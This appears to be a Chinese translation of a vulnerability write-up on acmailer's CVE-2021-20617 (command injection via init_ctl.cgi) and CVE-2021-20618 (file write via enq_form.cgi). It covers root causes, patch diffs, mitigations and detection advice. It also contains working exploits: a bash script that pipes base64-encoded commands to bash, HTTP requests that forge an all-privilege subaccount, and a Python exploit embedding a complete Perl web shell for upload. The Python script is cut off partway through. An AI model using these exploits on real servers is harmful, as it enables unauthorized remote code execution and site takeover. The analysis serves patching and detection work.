深入剖析acmailer的N-Day漏洞:CVE-2021-20617与CVE-2021-20618技术解析

本文详细分析了acmailer中的两个N-Day漏洞CVE-2021-20617和CVE-2021-20618,包括漏洞的根因分析、利用条件、补丁修复以及PoC代码实现,涉及OS命令注入和任意文件写入技术细节。

深入剖析漏洞 - acmailer的N-Day全面拆解

目录

  • 引言
  • 关于CVE-2021-20617
  • CVE-2021-20617的根因分析
  • CVE-2021-20617的利用条件
  • CVE-2021-20617的补丁分析
  • CVE-2021-20617的概念验证
  • CVE-2021-20617的缓解建议
  • CVE-2021-20617的检测指导
  • 关于CVE-2021-20618
  • CVE-2021-20618的根因分析
  • CVE-2021-20618的利用条件
  • CVE-2021-20618的补丁分析
  • CVE-2021-20618的概念验证
  • CVE-2021-20618的缓解建议
  • 结论

引言

在这篇文章中,我们最近的实习生Wang Hengyue(@w_hy_04)被分配分析acmailer中的CVE-2021-20617和CVE-2021-20618,因为此前没有任何公开信息。今天,我们将分享他在剖析acmailer漏洞过程中的经历。这两个漏洞最初由ma.la发现。

acmailer是一个基于Perl的电子邮件发送应用程序,提供以发送批量电子邮件为中心的功能,包括注册和注销表单、调查和电子邮件模板等相关功能。

acmailer还有一个账户系统,允许系统管理员创建子账户并为每个子账户授予个性化权限。

现在,让我们谈谈acmailer中可被利用的漏洞。

关于CVE-2021-20617

在acmailer和acmailer DB的初始化功能中发现了一个OS命令注入漏洞,允许在易受攻击应用程序的主机上执行远程命令。

根因分析

发现版本4.0.1中的文件init_ctl.cgi包含一个OS命令注入漏洞。通过利用它,攻击者能够在托管易受攻击应用程序的服务器上运行命令。因此,攻击者能够危害托管应用程序的整个机器。

每次向http://TARGET_HOST/init_ctl.cgi发出POST请求时,会执行以下代码:

1
2
3
4
5
6
# sendmailpathの中にqmailが含まれている場合はqmailにチェック
# (翻译:如果sendmailpath包含qmail,检查qmail)
my $qmailpath = `ls -l $FORM{sendmail_path}`;
if ($qmailpath =~ /qmail/) {
$FORM{qmail} = 1;
}

通过检查在初始化设置完成后正常使用中发送到init_ctl.cgi的POST请求,我们观察到sendmail_path是发送的参数之一。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /acmailer/init_ctl.cgi HTTP/1.1
Host: [internal IP]
Content-Length: 172
Origin: http://[internal IP]
Content-Type: application/x-www-form-urlencoded
Referer: http://172.18.0.2/acmailer/init_ctl.cgi
Connection: close

admin_name=username&
admin_email=mail%40email.com&
login_id=loginid&
login_pass=loginpw&
sendmail_path=sendmailpath&
homeurl=http%3A%2F%2Fexample.com&
mypath=env%2F

参数sendmail_path直接用于执行的系统命令:

1
`ls -l $FORM{sendmail_path}`

从而允许命令注入发生。例如,通过将请求中的参数更改为:

1
sendmail_path=|touch /tmp/pwned

服务器将执行shell命令:

1
ls -l |touch /tmp/pwned

可以通过在服务器的文件系统上观察是否在/tmp/pwned创建了文件来检查远程代码执行的成功:

1
ls /tmp/pwned

利用条件

只要init_ctl.cgi文件仍然存在于服务器上且不需要身份验证,就可以利用此漏洞。

补丁分析

在版本4.0.1和4.0.2之间的init_ctl.cgi中有3处更改:

1
2
3
4
5
6
7
+ my $admindata = $objAcData->GetAdminData(); 
+ # acmailerがインストール済であればこのページは表示しない
+ # (翻译:如果acmailer已经安装,此页面将不显示)
+ if ($admindata->{login_id} && $admindata->{login_pass}) { # [1]
+       print "Content-type: text/html\n\n";
+       die;
+ }

[1] 检查系统中是否已有管理员数据,如果有,则终止脚本执行。此外,从4.0.2开始,由于/tmpl/init.tmpl的更改,加载页面init_ctl.cgi会显示以下消息:

1
2
"※インストール完了後は、「init_ctl.cgi」を削除してください。" 
(翻译:"安装完成后,请删除`init_ctl.cgi`。")

由于大多数生产设置将完成初始化,[1]处的检查将阻止攻击者访问init_ctl.cgi,从而防止漏洞利用。

1
2
3
-       my $qmailpath = `ls -l $FORM{sendmail_path}`;
+       $FORM{sendmail_path} =~ s/'//g;
+       my $qmailpath = `ls -l '$FORM{sendmail_path}'`; # [2]

[2] 从路径字符串中去除单引号字符,并将文件名用单引号括起来,防止在执行的命令中从字符串中逃逸。

1
2
3
4
5
+       }
+ 
+       if($FORM{sendmail_path} && !-e $FORM{sendmail_path} ){ # [3]
+               push(@error, "・sendmailパスが存在しません。");
+       # (翻译:"sendmail路径不存在。")

[3] 在函数error_check中添加了一个额外的检查,以验证提供的路径是否指向文件系统中的实际文件。由于命令注入字符串不太可能是有效路径,这有助于减少成功命令注入的可能性。

该补丁足以防止进一步利用;然而,它看起来并不非常健壮,因为它部分依赖于用户手动删除设置文件。尽管命令字符串中的单引号无法逃逸,但直接执行命令是不良实践。

概念验证

由于服务器默认使用EUC-JP编码,发送&、’、>或其他特殊字符很困难。可以将有效负载作为base64编码字符串传递;但是,可能需要空白填充以确保base64编码字符串中不存在+和=字符。

这是一个利用命令注入漏洞在目标系统上运行任意命令的功能性漏洞利用bash脚本。

请将以下脚本保存为proof_of_concept.sh。

1
2
3
4
5
6
host=$1
command=$2
base=$(echo "$command" | base64)
echo 'make sure the output does not contain + or =:'
echo $base
/usr/bin/curl -s -k -X 'POST' --data-binary "admin_name=u&admin_email=m@m.m&login_id=l&login_pass=l&sendmail_path=|echo $base | base64 -d | bash&homeurl=http%3A%2F%2F&mypath=e" "${host}init_ctl.cgi"

示例利用用法如下:

1
./proof_of_concept.sh http://127.0.0.1/acmailer/ 'touch /tmp/pwned'

输出将类似于:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
make sure the output does not contain + or =:
dG91Y2gK
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="index.cgi">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

缓解建议

根据供应商公告,建议的解决方法是手动删除init_ctl.cgi。此外,升级到acmailer的4.0.2及以上版本或acmailerDB的1.1.5及以上版本可以防止漏洞利用。

额外的缓解措施是在初始设置完成后自动删除init_ctl.cgi,而不是依赖用户执行删除。

检测指导

通过检查服务器的访问日志中在初始设置后对/init_ctl.cgi的所有请求,可以检测到此漏洞的利用,因为此页面仅在初始设置期间使用。

关于CVE-2021-20618

在acmailer和acmailer DB的已弃用表单功能中发现了一个通过不受控文件路径的任意文件写入漏洞,允许未经身份验证的用户附加到易受攻击应用程序可访问的任何.cgi文件,从而获得具有所有权限的子账户访问权限。通过使用管理员账户进行身份验证后,攻击者可以利用管理功能替换现有的.cgi文件来获得远程代码执行。此外,acmailer的逻辑中存在权限提升漏洞,允许被授予某些权限的用户接管acmailer上的管理员账户。

根因分析

发现已弃用的调查功能中的页面enq_form.cgi包含一个外部文件名或路径控制漏洞。通过利用它,攻击者能够附加到托管易受攻击应用程序的服务器上acmailer可访问的任何任意.cgi文件。

enq_form.cgi中的以下代码在每次向/enq_form.cgi发出POST请求时调用InsData():

1
2
# 更新 (翻译:"update")
$objAcData->InsData($FORM{enq_id}, 'ENQANS', \%FORM);

clsAcData.pm中的以下代码定义了InsData:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# データ追加 (翻译:"数据添加")
# 引 数:ファイル名 テーブル名 フォーム
# (翻译:"参数:文件名 表名 表单")
# 戻り値:(翻译:"返回值:")
sub InsData {
    my $this = shift;
    my $filename = shift;

   # ... (为简洁起见省略)

    my $file = $this->{DATA_DIR}.$filename.".cgi";

    # 追加データを上書き (翻译:"覆盖附加数据")
    $this->InsertFile($file, $regdata);
    return 1;
}

此函数的第一个参数是$filename,它确定用于存储数据的文件名。观察到在/enq_form.cgi中的InsData()调用中,第一个参数由POST参数确定,因此可以被攻击者控制。观察到InsData()只能写入.cgi文件。

对/enq_form.cgi的正常POST请求如下所示:

1
2
3
4
5
6
POST /acmailer/enq_form.cgi HTTP/1.1
Host: 172.18.0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

answer_1=1&Submit=%C5%EA%B9%C6&id=1672295918137542&mail_id=admin&key=key&reg=1

观察到id参数作为第一个参数传递给InsData(),因此可以手动篡改以更改InsData()写入的文件。还观察到其余参数以制表符分隔附加到文件中。

因此,攻击者可以通过写入.cgi文件来影响服务的可用性,导致服务器无法提供该页面。

观察到在诸如/admin_edit.cgi之类的经过身份验证的页面上,身份验证流程包含以下行:

1
my $LOGIN = logincheck($S{login_id},$S{login_pass}, $admindata);

common.pm中的以下代码定义了logincheck():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# ログインチェック (翻译:"登录检查")
sub logincheck {
	my($login_id,$login_pass, $admindata)=@_;
	#... 
		# サブアカウント情報取得
		# (翻译:"获取子账户数据")
		my $objAcData = new clsAcData($SYS->{data_dir});
		my @subaccount = $objAcData->GetData('subaccount', 'SUBACCOUNT');
		foreach my $ref(@subaccount) {
			# ...
	# ...
}

观察到logincheck()调用GetData()来检查登录详细信息的真实性,该函数使用与InsData()相同的格式从文件中读取:

1
my @subaccount = $objAcData->GetData('subaccount', 'SUBACCOUNT');

鉴于对GetData()的此调用正在检查文件名subaccount.cgi,先前的文件写入漏洞可用于向subaccount.cgi附加新行,创建一个具有所有权限的子账户,攻击者可以使用该子账户登录。

例如,通过发送以下POST请求:

1
2
3
4
5
6
POST /acmailer/enq_form.cgi HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 166

answer_1=1&Submit=%C5%EA%B9%C6&id=subaccount&mail_id=id%09user%09pass%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%091%09&key=key&reg=1

行id user pass 1 1 (…) 1被附加到文件subaccount.cgi,创建一个id为id、用户名为user、密码为pass且所有权限标志设置为1的子账户。

一旦通过身份验证,可以利用更新各种.cgi表单的管理功能将其替换为执行任意系统命令的perl web shell。此功能位于/import.cgi,以下POST请求将替换form.cgi文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /acmailer/import.cgi HTTP/1.1
Host: 127.0.0.1
Cookie: sid=fakecookie
Content-Length: 1222
Content-Type: multipart/form-data; boundary=1013797725142a3384269e72bf8f4c66

--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="mode"

form
--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="___sid"

fakecookie
--1013797725142a3384269e72bf8f4c66
Content-Disposition: form-data; name="data"; filename="data"


#!/usr/bin/perl -w
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/html\r\n";
print "\r\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
...
--1013797725142a3384269e72bf8f4c66--

此后,导航到/form.cgi将显示上传的web shell,允许代码执行。

利用条件

只要enq_form.cgi文件仍然存在于服务器上且不需要身份验证,就可以利用此漏洞。不需要创建表单来利用此漏洞。

补丁分析

从acmailer的4.0.3版本和acmailerDB的1.1.5版本开始,enq_*.cgi文件(包括enq_form.cgi)被删除;因为旧的表单系统已弃用。因此,由于enq_form.cgi在4.0.3或1.1.5以上的版本中不再存在,新版本不再易受攻击。

概念验证

这是一个用Python 3编写的功能性漏洞利用,利用文件写入漏洞通过创建具有所有权限的子账户并在目标应用程序上上传perl web shell来实现远程代码执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3

import random
import requests
import string
import sys

# Application Types
APP_ACMAILER_DB = 0
APP_ACMAILER = 1

# Perl Webshell
perl_webshell = """#!/usr/bin/perl -w
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/html\\r\\n";
print "\\r\\n";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
}
print '<HTML><body><form action="" method="GET"><input type="text" name="cmd" size=20 value="' . $cmd . '"><input type="submit" value="Run"></form><pre>';
if(defined $FORM{'cmd'}) {
print "Results of '$cmd' execution:\\n\\n";
print "-"x80;
print "\\n";
open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
while(<CMD>) {
    print;
}
close(CMD);
print "-"x80;
print "\\n";
}
print "</pre>";
sub parse_parameters ($) {
my %ret;
my $input = shift;
foreach my $pair (split('&', $input)) {
    my ($var, $value) = split('=', $pair, 2);
    if($var) {
    $value =~ s/\+/ /g ;
    $value =~ s/%(..)/pack('c',hex($1))/eg;

    $ret{$var} = $value;
    }
}
return %ret;
}"""

def check_args():
    # Usage
    if len(sys.argv) != 4:
        print("[+] Usage: {} http://target-site/ LHOST LPORT".format(sys.argv[0]))
        sys.exit(1)

def check_app_type(url):
    res = requests.get(url + "login.cgi")
    if "ACMAILER DB" in res.text:
        return APP_ACMAILER_DB
    elif "ACMAILER" in res.text:
        return APP_ACMAILER
    else:
        print("[-] Unable to determine application type. Is it acmailer or acmailerDB?")
        sys.exit(1)

def check_vuln(url, app_type):
    endpoint = url + "enq_form.cgi"
    res = requests.get(endpoint, allow_redirects=False)
    if res.status_code == 404:
       
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计